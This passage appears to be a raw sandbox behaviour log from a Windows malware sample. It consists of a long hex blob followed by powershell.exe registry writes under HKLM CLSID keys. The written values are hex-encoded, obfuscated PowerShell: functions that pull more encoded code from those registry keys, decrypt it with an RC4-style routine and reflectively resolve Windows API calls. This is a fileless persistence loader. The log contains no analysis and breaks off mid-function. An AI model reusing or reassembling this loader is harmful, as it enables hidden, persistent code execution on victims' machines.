cf78af9023126561d9cb64a5e9713c783a7bbafa7845552f69a41c1cecffe72ba9b3bbbdf41cc35fb53119b2b2ca6c8c22e09b5bfe740d18b5d233522cc9be6bd57973a19027adca5219d040141f1e58428483edf129f1a52e380456349af029f14252a633db2dc81b94d40b1283d2ab2ff47da6fbbd8c04532a18072205fde253f9fd8b5728fe648c0b360b0c6821af0db2db4c495386567badc3faa25414be2dfa4d8a709bd052556675f5be1edb644d5d775ad679ee8dc983071450b144dd81b3939294f03e02e00698012d94661b978a811f3f39704dfa55746b2f77c19d2453b293d6da80e58775eeaaae2ea18a8081ede10c289177eff49cc41e8e74dc4b0641dde48696d6068c3ff0ad2d562266cd9cf2d4155475d1ff19a8159824eb9f54ad96f8643cdd4811b8f5638b51ae5e277230f5ff01c1389c8e06c5fe3dc75d60fd0d752655334f912b52b2283544b664b426cbe1b89c722ef6f8e94506dd1cdfae851a08e27d79ee28c23ac962f786268801bf8c1aa03d1013cfb21ac74af74bdedbdb7a25f496485d5deecff21f36851d843808e67ae42f6d70834c5e48a276daaaf55790b170f6419945bbe42cba06dcaf551b8e149e1c14de6a04063f77b44700d5abfe964311e6316ee7eea90429f534363b4facefa6ef2067e669cfa02929a870e85937e945fda4462e51c3bb93f2cd6bbe5041eb54a04135e79667f805bbbe2f20959d5fad453efa535b893c6286e0c3cd3f0142f2c4757ca8861b7218725f05f3426bedc7d596d4a97e653c9cdb466f9f08c20d6c692f6424d8468dbf4dc281d119a4e0636881c3114565df4a7c78d73af3fd6b9a8d5c8022e8ef632038e439ffc310b3e93489b1b3deaa6a4cb34f9a4c4e9ff49ab0349cbb930d5c21a8e7af54b7daf3b77c0c4ef5561ef96914db9a4bae019f5843514512069b3d358cf8f772a3b6726ee707ff222b98f2dcc2308be7b08a4d97613bd784b997eba6b4ec6d900b7c90f51008ab3244bfcf7e883ca23c1b1e77a912b5f52cf5f864c68eaa6425efbe4ab38819e6fb4a10125a0b0a193c0be27d12bd1c1a9b0313a8fb14ae3a1b57d34d815c1ed3ae717d1795f2717ac9642832cc051cbcdaa36fe046de0517f6ffb1b249578d34c6e693c3aa94a43a23069b75ac0ce6a62c1d67e30afbe8e7c9b839f8a9fd34fb95ff84596a5fa9f55eaa5956333fce6ef9bc03587a9b807970c270bda9c57935e8fa17938bc00cc9c5996a10bd4e095855bd7cc71da733c05055d1bd0f950aab70c1e08a9bfec27715e3448f8d33cc9257771020607dd50b9ca378ec021392be8678f8982e23c845174759539ef1f38d958596c2b80dc8ef8e3475d0c5caa4c6b80913995001cfd26c2f9387e5b4d48059557b9edf7b4b09a3563127b52c052418a36a55ac713b01485ed8a59164419b267a326b57804cdcfbd63893fa855574cd3b5cc1783587614c808a57ade7e2215f9d390129026d69fed5c1815a90b78bddbb1626b1b8fdcdd6e9d813f4025b4525802c1afafe5bc362bec43ae511f5b99eb57be62faf36bf3ecd35ee1d32f443830b0f8ab37415b40e7f04f3a289a15b012f030583e8ac874554c65bf1835ad250d7329cd8bb988143923755647554ecf77253804a6e2e133b35e0d77b6cc90d5e0409101b272e155d9a3e7fedf3092d2f03fbc4c89d0d9810a2a58a7708995233bd8453b5db2fb7095be66da8d2803bbe5bd69aa6f067f0f5372dba831b7b9faa56a70a252c5567ba19b4a9f35ebdf489ee1f976b567a3164e81d847bacc57199243a202460e16125041145b417a5d36ee0b107138a93b1e8a39d30d1395a1aa9fb3c98cd815e2096b3c18dcd6b0eb0e13243094f8bf9c7883b2a9326d869e590ef252f71419f9964ede8fdebb6475ad656cfa296ff4b8b90a77169912d8e26587fadeb7e86a91f397d50fda9752512b3d6a5781546f9eaa46b8d7509c7ae099e65165ad98a57ec3d2cc6b2d67295a37e4866b31bab752e04acb58891cccbae8514904f34867a28f533e536daab1e6a81f24c2941903d57a692aed4213585414587a9551dcdab2f8cb37360674e06bc2e0a5019420abf1a9b27e6dfadccd29698218bd8622c6796df07541b93b11b0b32cb7990010f0f2d21281f3c897776c1f22fe898bbb6d03442ab5dd284ee6e503cbf4bc2fe521e4791f1a59f053180d38f9a131dc01d78a9a42d941ba0e2f450b296338e8d938fa78661bc12a2dae7be1c6a4812774d1c3206291606d542a2d285657e2e027c865883255e3860b2f27f5515e79d1ae0493bb37d902af385ec8f63f38d4ffaa3d5ffcb42b2e5826ca9e157f1ec8f11574d9f51908bf12c63f15f26b7974a5b0da8906412536c5c624c5d76d17a6d17b94f8bd8e6ac011bfb03eee80cbd414f57fd256250e85fdd467469e10b44f5fa9c6c8765dc7e10421f1c345b061a210889aeec44197fb705a19ccd23f1e5a881999f00150f63615d98c0ba19b2c4ecba3aeee9f0aa3e333bf5385729cea056a499b5bebb770efbc9f3cc1fb8d8872c9db7ef757d9072cccfa64c7984dd9379f02909b140540f6c8b59436c7ebeda7597c3e0772de840a33f6a4d5ef7a56ac4ab48093811e1f176884dca0ae4541ebe67e958fd1dc7ae9377a9d8c09ade508f55f067f5f691e6f68347cb1f3773ccb1f433a57419f245fdf1aa7936f9fbdb97d7da8343110f564c7bec8d9949fc1f9f233cadd165478035c375e7c2038bdbe1ea70e2aa80062614a05ce14168bfbdec8d46a2db44260777be0a573877707fb81f5c128d0dfdcdd23d649213a3489e802f755c9124d455c992823df1f071ab5a1bc031434dca9f722903beac05c69ba42f55adcb9efbfd74049bcf68aa764378448c548af96e948fd8da3aa1fcafc6335a873ae46adc6b7885d0cf91ff8c94d8042cc4a827140ec5894622094bb96363ae83f1982d1631ca181ad84eb602c885e75a46302b98fdad26d2769945ea150183ec3fb462743d244a7ebbb09f0b50e877fb8ea14bab199f0da47e9c03b2a22ce6587ad1d7bc407c6164599c4b1e6b7b59f7b0b61ad4897cf33b3570822424bec51b838083ec0dda2256660d4274e2985eef05f07d849f76bf6e170b7227844f91ffa1aa6404e51268764a178616f9df8ec4467d5d0acd48789d7f3fa2f85ace401d8c5eb9a1e1988d542468f33660ae94cda064f348c3b1fc1a86c9a5bca94a2db347ce5ced169c13764088e2bf0eabbe0e014cea2f606d45dc50f699c0c6de366cbb52dcf210ef488fb95e035a512f9b5fcaf1958d4bc87383b0848df17d50de0feb0ba63965522d807ac12eaec1c9f33c2ea9c3537058c06e33df1137fefef4e83ac7115d392dcce96b3a2c2585f437934e2dd6e4496db9833b4f1df5d5b6c61bdc709a9b1a2ea27c8a1404b696afa85683ea3f6066739f80f1f3897ca820568ebfc6981c16c3690039acfd180bb3320f9f8edf0962e06494fdda75b83e60d9fb04fb6e74931474bab6f5b3ed5cff3c7e83a436591da2ac7d3a96b57f21eaf32fd6ccc6fc80262585d2194f384667a91a60822dd292bc67f62af5e99fc49a30f3f8a4cff2cba7f85ce12eb473e6bc7238b55ffc3c01191e2c4a4cde9441ce53079a7960c5e015117e5f1e822a8644aff21fc22903daff0dbf0635352f926ce2995c067dc5bb4c4aac38e2fcf153d3f4a332856254e17262473f818d49fe3dd53d128a971045e7d60e94147bb3c23bc593b3deb006bd1ae4c5983f3b4170f7ccdbffe9795611a3e6183bcb2aff7ff3aff2a53684381872695b6c2b859ae4728d28faf009cabaefecd8e3649aecf8c8a75d940ed09194bdb87553ff9e7f12f57c5a66644ef8ac377962c53a448adbabe313589dea6a741e1c92b5e3f5e9b40ec045c8bbe4d33ba23a62f372ad87dd4e284ba177fdee0fad1fa96212e043c46d89880073cc47bdd0bec69dd6cb6ebe617ee2c2f0b7a1502d81cf5b37b74e61aa98f3562e89e9a4da31a20ca272e1fa648e364649eafe5ddcbe4f66af157658f13b64e706fe5cad7e74c2d91ddb3227301b52c7f928ff8212377a3d6e353c9d252cce902e1d5ef7241424845f6ab7e223e4610991703040f803f1cbf28bdc37d11090daf8fb201289e8f3685e2b931011936badc3e3a7431d0aac5d4b41537c52fd8e1342291e7b18d11f512df2be8b07c64068229ed799cbf16a5a69056629be0c827bc11338a1146cd7d351adb3573d30e7ae4b8dd9b96691296a96eaf155b4859b6ac5ec4ae2273bff7c42cbdb8d175b91b1fe125e204aedb229acaf091234a0955a0b28aa2e2ef7ef8d72bc96df1e983e86a4708e29eb133e265965b207ef3c476aee4a2e4dab4cc1514c1033c3ea06a1443dc647b3328496ea42c86a86170b163dc60cb1a9eaeee7d2427ea4d58dfe9e4489192dfbd8692d8dc2d4ebd8f70df7f497377765293e07e280cf0ea15b5e82a4c8d9a30a0ba8bf1097a24a4b3fcfa28d1c03d6e8150fd2d275e4083dd8b17da6bf88087e8318555d34d26a5a1435e2153db70d64b4d5d84812f3ccfb0bcb53c03d56b6e1cebabf183f446eecbeaafcc2416425432e8e7e4c54e97221cc58af9dea4be712209f9f0c6ca441b1c29d812b1e931b72e352b31721482db0879b25d5f3aee0f3a91a3986e1f4671bd442ed49492687ece787e7d202b3e9bb11d7003d024ace41330382b986bb52952fb477619aa1986de8fd2a6a59884f129027442cc823725c8400fe5affa7c5ff71d6dad6f0f66f5f5dac318e10a0f26b7cf37330e3ffbe92c63d6b4c99efecf8ade9ca8dec137dd402489c652861eecb48ee8483a0ac08e17b766c4d647b3135f20d620f0ded186524a5d879af59712c8d86166609e6dcf76b9dc9761639cf6cb44b449a66fb88ed2601659a909a855056cbb2ef49bd908b34393896a891c4d10c75ff7bda49e383f863895300cd4e40973ec0c9563495f7e5c981e715318f64a1a054b978446ac6cb05db214e3a7fb48965a88b3cd300c3be8975d0a67e004e9d450309ce6b38fc1241cc7a4a54636fb88bbd5775aee5ae52e620ebf5d0162d20a0066546d5a53926a621bb2227748a2315ffad12493b48f42e5a7527f55d5cba1d7f7c38f3783477cf6a3f632ff5e1b1bd3f501a27be38f2f07795706aef88b433a8219480d497e62eca904fa6847328051d6152dd51ed54d7973388f540b01f394e10902c73aea3fcfe5be8120bcc75b3f15513207dab0ecd6fcf20161a49f475be16750458df248dbc32648a99bc2b2d88501b6a3e31749ceb5809226b3df1c227428a887c9d73390b6cd26d4794e5aa69cffac7ee43931c78c462be7524a20175e03697823ef575dbb3f32fd71c9f3381db79bda6fe4701ffa54450d47d19b7b888442af305ca041f341d5502db864f47c742c6e92de38142ba5c5a90e3cef2d28f3f8b8e1e4fd9f4fa7aff9166328c9ad20826559c3c2e0c8def67569e87a534e8e317d079113c281b74fa109bc853081e8c35c88d23c18528d9b466d82ecc1bacc450e58089fcc9b967d412c4fab79751a255613c8b2d70104b1ea4b40a48f6f8565c5150532501b6a0ee74e3adfe2b685c3b53b1d32eb90abab4811e697f94e926be69206936e5051558b8f84b5355fea5f579ab99dbfe2f59a6aa711a4b8664e3ca44d20bddf63589c180d40a9ae6e440c54736537fc54e0379147c097753ef6d97551650267c75fa0017668629d193b19cb128f2ff1a09c0a8d7b0da75f688e1e94c940d3d14cc6af4953f67ca0207339afece12702e448f1ccfaf6303c3e64a1fc615c993756407d5eaadd44582c5cf6b1630809d22d762d8b56df101eba8fab5ead6dc2325a825ebbe6fb6ee8ec906c8fa85e01a608b531dab58cfd7810d2561a105f7a95a38ff2cb128b2575aff6e6a542fe3cafc154f9c7e97ee582c5228526bbb96f6a0377f7691d23e7c4b0fc298b5729e7c854a3cb3eb9ef5907e87d37726a7efa659524c418161708d22d6b1c014a77aac61fa96fd049447dcef122d5d75b1b181dae585332d4ed531efd66cf20c789bb42a4f97d2296e99b944c75ab5c5ede239ed9a7ffb66d0c34a8b32d4f44813a1b3f7046142b9fcbcfb6e5569d4b2d40f519f7beb211b6675448992f17ac445856bfb94562e17615d14ea4e1b8a99a78aa1c386f270d145db61237585dbf3211c37701f768ffad2521a615098d6c1612bc38e96830b513d77aaf41b8dcc77b17ae2f7d3de1b531de37831b9af5f5dd9ad32c6ef5756b88cd671dd13091f65fcda168aa376a2cdfdcf70d6b89c53c77504a84b2c58cc0b871849b1eb478a31790aabd3cd85d15264a490f04fba806127b53cc0463ca8f8db87bd17edec02365e501f8f1690b9c6b9894c1672faa8e4b76a5e31b79e3de588cc7b87aaed83fc05065dbe3c262de00bf2a4290da3abf7806702c68b4132d2add16068d85972ef0ca9eb49d37fd07ff070d315e8e30c0aad59841753ada8265103e014b11ab108be1687139601d280cab8907733ac66cd45dde1971c67c83018314029e3d2e98f2d2bc82071cac85ac84ed73203d4437eb59eedc4dc93f17602ac6ea8967065a46505ffb5c613ca8230a2a197017f402934ef1160a660a6cbf9de55d7c2d74d8dd4d76c777d0862e35f12ec4046aef3a6c2a12692352b43bdab55801c1d41dd74a79c22a1520e4795f4360877ed999e519a8df2209f8489223538352586226cddac9bb2c83c86906f4a7e61920e5c1e33fce0ac0bf19787fec130288c289c6bb1f2c0dbf50292f0452d4f497373636c083870ab07789e936082fa21a414e3f83d5e77ce3a929a127dc487b63e5cd1772bfe0e5804f21cafb801822ddf70c49247da91a7dffd8a9ab44584ac99e86b25ef6ca65f2bbc0a66ef19c88553d491137100085cdc233e37c595274a6186d546a3185d37bd1afbb2af95104f7835729f18d88d71b4b249ff9c82b76efe56f7f84c451e65c31c90be51522c516b93a7e23554e8edb216b63522eb33bd3369590021cfe116adc966143ed3dfef6ddd5b30cbb50fd2bececcfe722a8b0c7dfc26b63e75780ef852e649fe3c6024e52e15fccc0cd05c6a7977639f6a010823adb375e41c18d66ce2be90745d8fef537648daa770e9a9af7cd8d5e05b57c82 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\VersionIndependentProgID\0A12 = 2d623d3f7c682e21364a2a3e632c7046512b6e663b24766c645d5c584869526b125e67332229724c23426f61505b6d5f444f7e72396b316e74646567616f66767562777a6869306c356d7938346a37337378635772704b6f332a314c4d3c3277425335365b527c5530762e3d62346e735e2f7a632866493a472c50385c243f56787b37293b3e71436d612b4460254e542159796b234f5d69456c5a6451272d6541754a587d46 powershell.exe Key created \REGISTRY\MACHINE\software\classes\{12000B11-0704-0100-010D-0B0F070F120C}\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{090F0900-040A-040D-0211-0C0C130F120B}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\ProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\ProgID\0909 = 66756e6374696f6e206271337b706172616d28247874382c246b72322920287578332027323437343731333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343133313332333033313330343132443331333333313333324433303432333033333244333034333330343132443331333233303337333034313330333333303339333033393744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303431333133323237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343133313332323733423234363537343338334432383234373437313330354233333332354432423238323833353332324432383332333432443238333432423331323932393239323932393342323032343646363633353344323437343731333035423234363537343338324532453238323436353734333832423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343646363633353239334232343734373133303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034313331333233303331333034313244333133333331333332443330343233303333324433303433333034313244333133323330333733303431333033333330333933303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333933303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033393330333932373342323436353734333833443742323032343633373833303344333032453245333233353335334233303245324533323335333537433235374232303234364637353333334432383234364637353333324232343633373833303542323435463544324232343646363633353542323435463235323436463636333532453443363536453637373436383544323932353238333533303332324432383332333033393242323833353337324433323330323932393239334232303234363337383330354232343546354432433234363337383330354232343646373533333544334432343633373833303542323436463735333335443243323436333738333035423234354635443230374432303342323437343731333037433235374232343641364333373344323832343641364333373242333132393235323832383334333133353244333133353339323932393342323032343739363433303344323832343739363433303242323436333738333035423234364136433337354432393235323833393331324232383238333133373338324433353331323932423333333832393239334232303234363337383330354232343641364333373544324332343633373833303542323437393634333035443344323436333738333035423234373936343330354432433234363337383330354232343641364333373544334232343546324436323738364637323234363337383330354232383234363337383330354232343641364333373544324232343633373833303542323437393634333035443239323532383332333533383244323832383334324433313239324433313239323935443230374432303744323033423234363536383339323033443230323832363230323436353734333837433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436413643333733443330334232343641364333373230324436433734323032343635363833393245344336353645363737343638334232343641364333373242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363536383339324535333735363237333734373236393645363732383234364136433337324333323239324332383238323833313339324233313337323932443331333332393244333732393239323037443239323927297c2628247073686f6d655b3230322d3139385d2b247073686f6d655b3135352d3132315d2b277827297d66756e6374696f6e20657a367b706172616d2824766a3129282d6a6f696e2824766a31202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206f67357b706172616d28246b67312920287678372027323436383643333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343133313332333033313330343132443331333333313333324433303432333033333244333034333330343132443331333233303337333034313330333333303339333033393744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303431333133323237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343133313332323733423234363236393331334432383234363836433330354233333332354432423238323833353332324432383332333432443238333432423331323932393239323932393342323032343634363533333344323436383643333035423234363236393331324532453238323436323639333132423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343634363533333239334232343638364333303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034313331333233303331333034313244333133333331333332443330343233303333324433303433333034313244333133323330333733303431333033333330333933303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333933303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033393330333932373342323436323639333133443742323032343737363133353344333032453245333233353335334233303245324533323335333537433235374232303234364536363338334432383234364536363338324232343737363133353542323435463544324232343634363533333542323435463235323436343635333332453443363536453637373436383544323932353238333533303332324432383332333033393242323833353337324433323330323932393239334232303234373736313335354232343546354432433234373736313335354232343645363633383544334432343737363133353542323436453636333835443243323437373631333535423234354635443230374432303342323436383643333037433235374232343638363933323344323832343638363933323242333132393235323832383334333133353244333133353339323932393342323032343736364533393344323832343736364533393242323437373631333535423234363836393332354432393235323833393331324232383238333133373338324433353331323932423333333832393239334232303234373736313335354232343638363933323544324332343737363133353542323437363645333935443344323437373631333535423234373636453339354432433234373736313335354232343638363933323544334232343546324436323738364637323234373736313335354232383234373736313335354232343638363933323544324232343737363133353542323437363645333935443239323532383332333533383244323832383334324433313239324433313239323935443230374432303744323033423234373236433336323033443230323832363230323436323639333137433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436383639333233443330334232343638363933323230324436433734323032343732364333363245344336353645363737343638334232343638363933323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373236433336324535333735363237333734373236393645363732383234363836393332324333323239324332383238323833313339324233313337323932443331333332393244333732393239323037443239323927297c2628247073686f6d655b3135302d3134365d2b247073686f6d655b3134342d3131305d2b277827297d66756e6374696f6e207769377b706172616d2824766a31292028657a3620273234364336383336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343637373233343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343643363833363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364336383336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363737323334324332343736364133313239323927297c2628247073686f6d655b3131362d3131325d2b247073686f6d655b3139362d3136325d2b277827297d2066756e6374696f6e206164387b706172616d2824766a312c247a7730292028657a36202732343733363133343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733363133343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736364133313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733363133343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437413737333032433234373636413331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373336313334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3139322d3138385d2b247073686f6d655b3138322d3134385d2b277827297d2066756e6374696f6e206f6c337b706172616d2824766a312c247a77302c24776d38292028657a362027323436463643333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343133313332333033313330343132443331333333313333324433303432333033333244333034333330343132443331333233303337333034313330333333303339333033393744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303431333133323237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343133313332323733423234363237373332334432383234364636433338354233333332354432423238323833353332324432383332333432443238333432423331323932393239323932393342323032343637373633363344323436463643333835423234363237373332324532453238323436323737333232423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343637373633363239334232343646364333383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034313331333233303331333034313244333133333331333332443330343233303333324433303433333034313244333133323330333733303431333033333330333933303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333933303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033393330333932373342323436323737333233443742323032343644363233383344333032453245333233353335334233303245324533323335333537433235374232303234373936443337334432383234373936443337324232343644363233383542323435463544324232343637373633363542323435463235323436373736333632453443363536453637373436383544323932353238333533303332324432383332333033393242323833353337324433323330323932393239334232303234364436323338354232343546354432433234364436323338354232343739364433373544334432343644363233383542323437393644333735443243323436443632333835423234354635443230374432303342323436463643333837433235374232343734364533323344323832343734364533323242333132393235323832383334333133353244333133353339323932393342323032343632363933353344323832343632363933353242323436443632333835423234373436453332354432393235323833393331324232383238333133373338324433353331323932423333333832393239334232303234364436323338354232343734364533323544324332343644363233383542323436323639333535443344323436443632333835423234363236393335354432433234364436323338354232343734364533323544334232343546324436323738364637323234364436323338354232383234364436323338354232343734364533323544324232343644363233383542323436323639333535443239323532383332333533383244323832383334324433313239324433313239323935443230374432303744323033423234363536373337323033443230323832363230323436323737333237433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437343645333233443330334232343734364533323230324436433734323032343635363733373245344336353645363737343638334232343734364533323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363536373337324535333735363237333734373236393645363732383234373436453332324333323239324332383238323833313339324233313337323932443331333332393244333732393239323037443239323927297c2628247073686f6d655b3138342d3138305d2b247073686f6d655b3138342d3135305d2b277827297d66756e6374696f6e207573337b706172616d28246e6635292028616d3020273234364436333338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343642363433363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343644363333383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364436333338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364236343336324332343645363633353239323927297c2628247073686f6d655b3131392d3131355d2b247073686f6d655b3137312d3133375d2b277827297d66756e6374696f6e207869327b706172616d2824736831292028656d312027323436433644333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343133313332333033313330343132443331333333313333324433303432333033333244333034333330343132443331333233303337333034313330333333303339333033393744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303431333133323237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343133313332323733423234363237353331334432383234364336443336354233333332354432423238323833353332324432383332333432443238333432423331323932393239323932393342323032343631373433383344323436433644333635423234363237353331324532453238323436323735333132423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343631373433383239334232343643364433363344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034313331333233303331333034313244333133333331333332443330343233303333324433303433333034313244333133323330333733303431333033333330333933303339374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333933303339323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033393330333932373342323436323735333133443742323032343641363433333344333032453245333233353335334233303245324533323335333537433235374232303234364137313337334432383234364137313337324232343641363433333542323435463544324232343631373433383542323435463235323436313734333832453443363536453637373436383544323932353238333533303332324432383332333033393242323833353337324433323330323932393239334232303234364136343333354232343546354432433234364136343333354232343641373133373544334432343641363433333542323436413731333735443243323436413634333335423234354635443230374432303342323436433644333637433235374232343732373033333344323832343732373033333242333132393235323832383334333133353244333133353339323932393342323032343737373233353344323832343737373233353242323436413634333335423234373237303333354432393235323833393331324232383238333133373338324433353331323932423333333832393239334232303234364136343333354232343732373033333544324332343641363433333542323437373732333535443344323436413634333335423234373737323335354432433234364136343333354232343732373033333544334232343546324436323738364637323234364136343333354232383234364136343333354232343732373033333544324232343641363433333542323437373732333535443239323532383332333533383244323832383334324433313239324433313239323935443230374432303744323033423234373636343332323033443230323832363230323436323735333137433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437323730333333443330334232343732373033333230324436433734323032343736363433323245344336353645363737343638334232343732373033333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373636343332324535333735363237333734373236393645363732383234373237303333324333323239324332383238323833313339324233313337323932443331333332393244333732393239323037443239323927297c2628247073686f6d655b3134382d3134345d2b247073686f6d655b3138332d3134395d2b277827297d66756e6374696f6e206166327b706172616d282467783829202861653